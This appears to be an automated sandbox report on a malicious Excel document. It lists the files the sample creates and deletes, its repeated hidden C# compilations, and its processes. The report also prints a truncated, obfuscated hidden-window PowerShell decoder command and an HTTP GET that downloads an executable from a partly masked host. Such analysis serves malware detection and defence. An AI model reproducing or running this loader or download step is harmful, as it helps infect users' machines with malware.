Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function wbb456 {param($p4e61)$e1d21='g6c36';$w8b9bd='';for ($i=0; $i -lt $p4e61.length;$i+=2){$xdd2b=[convert]::ToByte($p4e61.Substring($i,2),16);$w8b9bd+=[char]($xdd2b -...
Modifies file system
Creates the following files
- %TEMP%\62qdpofj.0.cs
- %TEMP%\ugbhlbdf.dll
- %TEMP%\resb5c1.tmp
- %TEMP%\cscb5a1.tmp
- %TEMP%\ugbhlbdf.out
- %TEMP%\ugbhlbdf.cmdline
- %TEMP%\ugbhlbdf.0.cs
- %TEMP%\x3xna5pf.dll
- %TEMP%\res92b8.tmp
- %TEMP%\csc9289.tmp
- %TEMP%\x3xna5pf.out
- %TEMP%\x3xna5pf.cmdline
- %TEMP%\x3xna5pf.0.cs
- %TEMP%\fv4hhpwl.dll
- %TEMP%\res7ba6.tmp
- %TEMP%\csc7b86.tmp
- %TEMP%\fv4hhpwl.out
- %TEMP%\fv4hhpwl.cmdline
- %TEMP%\fv4hhpwl.0.cs
- %TEMP%\2qfwnhmk.dll
- %TEMP%\l77zor7c.0.cs
- %TEMP%\l77zor7c.out
- %TEMP%\mv_hui8z.dll
- %TEMP%\cscc86d.tmp
- %TEMP%\res212d.tmp
- %TEMP%\csc210d.tmp
- %TEMP%\mv_hui8z.out
- %TEMP%\mv_hui8z.cmdline
- %TEMP%\mv_hui8z.0.cs
- %TEMP%\sps0_-ka.dll
- %TEMP%\resd86.tmp
- %TEMP%\cscd66.tmp
- %TEMP%\sps0_-ka.out
- %TEMP%\sps0_-ka.cmdline
- %TEMP%\sps0_-ka.0.cs
- %TEMP%\lntfpxcu.dll
- %TEMP%\resf5a9.tmp
- %TEMP%\cscf588.tmp
- %TEMP%\lntfpxcu.out
- %TEMP%\lntfpxcu.cmdline
- %TEMP%\lntfpxcu.0.cs
- %TEMP%\l77zor7c.dll
- %TEMP%\resc87e.tmp
- %TEMP%\res686c.tmp
- %TEMP%\l77zor7c.cmdline
- %TEMP%\csc684c.tmp
- %TEMP%\cscf464.tmp
- %TEMP%\e15hcezh.cmdline
- %TEMP%\e15hcezh.0.cs
- %TEMP%\7ln_qkn7.dll
- %TEMP%\resdf66.tmp
- %TEMP%\62qdpofj.dll
- %TEMP%\lqwoydrv.dll
- %TEMP%\resdeba.tmp
- %TEMP%\resdf95.tmp
- %TEMP%\cscdf84.tmp
- %TEMP%\cscdf65.tmp
- %TEMP%\cscde7b.tmp
- %TEMP%\lqwoydrv.out
- %TEMP%\lqwoydrv.cmdline
- %TEMP%\lqwoydrv.0.cs
- %TEMP%\7ln_qkn7.out
- %TEMP%\7ln_qkn7.cmdline
- %TEMP%\7ln_qkn7.0.cs
- %TEMP%\62qdpofj.out
- %TEMP%\62qdpofj.cmdline
- %TEMP%\e15hcezh.out
- %TEMP%\resf475.tmp
- %TEMP%\2qfwnhmk.cmdline
- %TEMP%\e15hcezh.dll
- %TEMP%\2qfwnhmk.0.cs
- %TEMP%\kml9_nwk.dll
- %TEMP%\res4a46.tmp
- %TEMP%\csc4a35.tmp
- %TEMP%\kml9_nwk.out
- %TEMP%\kml9_nwk.cmdline
- %TEMP%\kml9_nwk.0.cs
- %TEMP%\ze5meruc.dll
- %TEMP%\res2902.tmp
- %TEMP%\csc28f1.tmp
- %TEMP%\ze5meruc.out
- %TEMP%\ze5meruc.cmdline
- %TEMP%\ze5meruc.0.cs
- %TEMP%\acvvkzsa.dll
- %TEMP%\res4f0.tmp
- %TEMP%\csc4df.tmp
- %TEMP%\acvvkzsa.out
- %TEMP%\acvvkzsa.cmdline
- %TEMP%\acvvkzsa.0.cs
- %TEMP%\2qfwnhmk.out
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{28359047-db6f-4b38-9394-beae43fba4fe}.tmp
Deletes the following files
- %TEMP%\resdeba.tmp
- %TEMP%\ugbhlbdf.cmdline
- %TEMP%\ugbhlbdf.dll
- %TEMP%\ugbhlbdf.out
- %TEMP%\ugbhlbdf.pdb
- %TEMP%\cscb5a1.tmp
- %TEMP%\resb5c1.tmp
- %TEMP%\x3xna5pf.0.cs
- %TEMP%\x3xna5pf.pdb
- %TEMP%\x3xna5pf.cmdline
- %TEMP%\x3xna5pf.out
- %TEMP%\ugbhlbdf.0.cs
- %TEMP%\x3xna5pf.dll
- %TEMP%\res92b8.tmp
- %TEMP%\fv4hhpwl.pdb
- %TEMP%\fv4hhpwl.dll
- %TEMP%\fv4hhpwl.out
- %TEMP%\fv4hhpwl.0.cs
- %TEMP%\fv4hhpwl.cmdline
- %TEMP%\csc7b86.tmp
- %TEMP%\res7ba6.tmp
- %TEMP%\2qfwnhmk.cmdline
- %TEMP%\2qfwnhmk.pdb
- %TEMP%\csc9289.tmp
- %TEMP%\resc87e.tmp
- %TEMP%\cscc86d.tmp
- %TEMP%\l77zor7c.0.cs
- %TEMP%\mv_hui8z.pdb
- %TEMP%\mv_hui8z.out
- %TEMP%\mv_hui8z.0.cs
- %TEMP%\csc210d.tmp
- %TEMP%\res212d.tmp
- %TEMP%\sps0_-ka.out
- %TEMP%\sps0_-ka.dll
- %TEMP%\sps0_-ka.pdb
- %TEMP%\sps0_-ka.cmdline
- %TEMP%\sps0_-ka.0.cs
- %TEMP%\cscd66.tmp
- %TEMP%\resd86.tmp
- %TEMP%\lntfpxcu.0.cs
- %TEMP%\lntfpxcu.out
- %TEMP%\lntfpxcu.pdb
- %TEMP%\lntfpxcu.cmdline
- %TEMP%\lntfpxcu.dll
- %TEMP%\cscf588.tmp
- %TEMP%\resf5a9.tmp
- %TEMP%\l77zor7c.out
- %TEMP%\l77zor7c.cmdline
- %TEMP%\l77zor7c.pdb
- %TEMP%\l77zor7c.dll
- %TEMP%\2qfwnhmk.out
- %TEMP%\mv_hui8z.dll
- %TEMP%\2qfwnhmk.0.cs
- %TEMP%\csc684c.tmp
- %TEMP%\cscf464.tmp
- %TEMP%\resf475.tmp
- %TEMP%\7ln_qkn7.out
- %TEMP%\7ln_qkn7.cmdline
- %TEMP%\7ln_qkn7.dll
- %TEMP%\7ln_qkn7.pdb
- %TEMP%\7ln_qkn7.0.cs
- %TEMP%\62qdpofj.dll
- %TEMP%\62qdpofj.cmdline
- %TEMP%\62qdpofj.pdb
- %TEMP%\e15hcezh.out
- %TEMP%\62qdpofj.out
- %TEMP%\lqwoydrv.pdb
- %TEMP%\lqwoydrv.0.cs
- %TEMP%\lqwoydrv.cmdline
- %TEMP%\lqwoydrv.out
- %TEMP%\lqwoydrv.dll
- %TEMP%\cscdf65.tmp
- %TEMP%\resdf66.tmp
- %TEMP%\cscdf84.tmp
- %TEMP%\resdf95.tmp
- %TEMP%\cscde7b.tmp
- %TEMP%\62qdpofj.0.cs
- %TEMP%\e15hcezh.0.cs
- %TEMP%\e15hcezh.cmdline
- %TEMP%\e15hcezh.pdb
- %TEMP%\res686c.tmp
- %TEMP%\kml9_nwk.cmdline
- %TEMP%\kml9_nwk.pdb
- %TEMP%\kml9_nwk.0.cs
- %TEMP%\kml9_nwk.out
- %TEMP%\kml9_nwk.dll
- %TEMP%\csc4a35.tmp
- %TEMP%\res4a46.tmp
- %TEMP%\ze5meruc.cmdline
- %TEMP%\ze5meruc.0.cs
- %TEMP%\ze5meruc.pdb
- %TEMP%\ze5meruc.dll
- %TEMP%\ze5meruc.out
- %TEMP%\csc28f1.tmp
- %TEMP%\res2902.tmp
- %TEMP%\acvvkzsa.0.cs
- %TEMP%\acvvkzsa.pdb
- %TEMP%\acvvkzsa.cmdline
- %TEMP%\acvvkzsa.dll
- %TEMP%\acvvkzsa.out
- %TEMP%\csc4df.tmp
- %TEMP%\res4f0.tmp
- %TEMP%\e15hcezh.dll
- %TEMP%\2qfwnhmk.dll
- %TEMP%\mv_hui8z.cmdline
Network activity
TCP
HTTP GET requests
- http://di##.com.sa/specryp.exe
UDP
- DNS ASK di##.com.sa
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function wbb456 {param($p4e61)$e1d21='g6c36';$w8b9bd='';for ($i=0; $i -lt $p4e61.length;$i+=2){$xdd2b=[convert]::ToByte($p4e61.Substring($i,2),16);$w8b9bd+=[char]($xdd2b -...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD86.tmp" "%TEMP%\CSCD66.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sps0_-ka.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF5A9.tmp" "%TEMP%\CSCF588.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lntfpxcu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC87E.tmp" "%TEMP%\CSCC86D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l77zor7c.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5C1.tmp" "%TEMP%\CSCB5A1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ugbhlbdf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES92B8.tmp" "%TEMP%\CSC9289.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x3xna5pf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7BA6.tmp" "%TEMP%\CSC7B86.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fv4hhpwl.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES686C.tmp" "%TEMP%\CSC684C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mv_hui8z.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2qfwnhmk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kml9_nwk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2902.tmp" "%TEMP%\CSC28F1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ze5meruc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4F0.tmp" "%TEMP%\CSC4DF.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\acvvkzsa.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF475.tmp" "%TEMP%\CSCF464.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e15hcezh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF66.tmp" "%TEMP%\CSCDF65.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF95.tmp" "%TEMP%\CSCDF84.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDEBA.tmp" "%TEMP%\CSCDE7B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lqwoydrv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7ln_qkn7.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\62qdpofj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A46.tmp" "%TEMP%\CSC4A35.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES212D.tmp" "%TEMP%\CSC210D.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mv_hui8z.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD86.tmp" "%TEMP%\CSCD66.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sps0_-ka.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF5A9.tmp" "%TEMP%\CSCF588.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lntfpxcu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC87E.tmp" "%TEMP%\CSCC86D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l77zor7c.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5C1.tmp" "%TEMP%\CSCB5A1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ugbhlbdf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES92B8.tmp" "%TEMP%\CSC9289.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x3xna5pf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7BA6.tmp" "%TEMP%\CSC7B86.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fv4hhpwl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES686C.tmp" "%TEMP%\CSC684C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2qfwnhmk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A46.tmp" "%TEMP%\CSC4A35.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kml9_nwk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2902.tmp" "%TEMP%\CSC28F1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ze5meruc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4F0.tmp" "%TEMP%\CSC4DF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\acvvkzsa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF475.tmp" "%TEMP%\CSCF464.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e15hcezh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF66.tmp" "%TEMP%\CSCDF65.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF95.tmp" "%TEMP%\CSCDF84.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDEBA.tmp" "%TEMP%\CSCDE7B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lqwoydrv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7ln_qkn7.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\62qdpofj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES212D.tmp" "%TEMP%\CSC210D.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
